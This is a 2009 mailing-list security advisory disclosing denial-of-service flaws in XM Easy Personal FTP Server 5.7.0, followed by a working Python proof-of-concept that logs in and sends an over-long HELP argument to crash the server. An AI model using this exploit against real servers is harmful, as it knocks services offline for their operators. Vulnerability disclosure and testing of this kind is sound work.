<<< Date Index >>>     <<< Thread Index >>>

[Security] XM Easy Personal FTP Server Multiple DoS vulnerabilities



XM Easy Personal FTP Server Multiple DoS vulnerabilities

Credits:
NeerajT of Nevis Labs
http://www.nevisnetworks.com/services.php?id=10

Date of Discovery: 14-May-2009

Vendor: Dxmsoft
URL: http://www.dxm2008.com/

Affected:
XM Easy Personal FTP Server 5.7.0
Earlier versions may also be affected

Overview:
XM Easy Personal FTP Server is a easy use FTP server Application. Multiple 
Denial of service vulnerability exists in XM Personal FTP Server that causes 
the application to crash when a long list of arguments is sent to certain FTP 
commands post authentication.

Details:
The DoS vulnerability exists because the application fails to handle large 
parameter values sent to certain FTP commands like HELP or TYPE. When a long 
value ( > 4700 Bytes) is passed as a parameter to these commands, the FTP 
server cannot process it and it will crash. Note that this is a post 
authentication vulnerability, so user must be logged in to exploit the 
vulnerability. No registers are overwritten, hence remote code execution may 
not be possible.

Severity:
High

Solution:
No patches available from vendor
No workaround is available at this time

Vendor Communication Timelines:
05.14.2009 - Vulnerability Discovered
05.15.2009 - Vendor Notified
05.20.2009 - No Response, Vendor Notified again
06.05.2009 - No Ack from Vendor, Public Disclosure

PoC: Python Exploit
-----------------------------------------------------
#!/usr/bin/python
#
# ::::::::::::::::::::::::::::::[neeraj(.)thakar(at)nevisnetworks(.)com]
#
# [-] What:....[ XM Easy Personal FTP Server 5.7.0 ].....
# [-] Where:...[ http://www.dxm2008.com ]................
# [-] When:....[ 14-May-2009 ]...........................
# [-] Who:.....[ NeerajT | neeraj(.)thakar(at)nevisnetworks(.)com ]....
# [-] How:.....[
# A Denial of service vulnerability exists in XM
# Personal FTP Server that causes the application to
# crash when a long list of arguments is sent to
# certain FTP commands post authentication..........]
# [-] Thankz:..[ Jambalaya, Xin and Chintan ]............

import os
import sys
import time
from ftplib import FTP

def usage():
        print "[...XM Personal FTP Server 5.7.0 DoS Exploit...]"
        print "[.........neeraj(.)thakar(at)gmail(.)com..............]\n"
        print "Usage: ./XMPersonal_FTPServer_DoSPoC.py <server-ip> <username> 
<password>\n"
        print "\n Use it at your own risk ! This is just a PoC. I am not 
responsible for damages done by your crazy thinking.. :P\n"

# The Main function starts here..
if __name__ == "__main__":
        ftpport = '21'

        # get the args..
        if len(sys.argv) < 3:
                usage()
                sys.exit(1)
        ftpserver = sys.argv[1]
        user = sys.argv[2]
        passwd = sys.argv[3]

        print "Connecting to "+ftpserver+" using "+user+"....",

        # Try opening a connection to the FTP server
        try:
                F = FTP(ftpserver)
                F.timeout = 3
                if F:
                        print 'Connected !'
        except:
                print "\nCould not connect to the Server :(\n"
                sys.exit(1)

        #Lets create the Buffer..
        crap = "A" * 5000

        # Creat'in da'bomb
        dabomb = 'HELP '+crap

        print "Press any key to login.."
        ch = sys.stdin.read(1)

        # Lets login
        try:
                F.login(user, passwd)
        except:
                print "Oops.. Looks like you forgot to create a login !!\n"
                F.quit()
                sys.exit(1)
        print "Target Locked, Press any key to fire..",
        ch = sys.stdin.read(1)

        print 'Sendin Da\'Bomb..'
        try:
                F.sendcmd(dabomb)
        except:
                print 'Target destroyed !! Mission successfull..!'

        print 'Returning to base..'
        F.close()
        sys.exit(0)
-----------------------------------------------------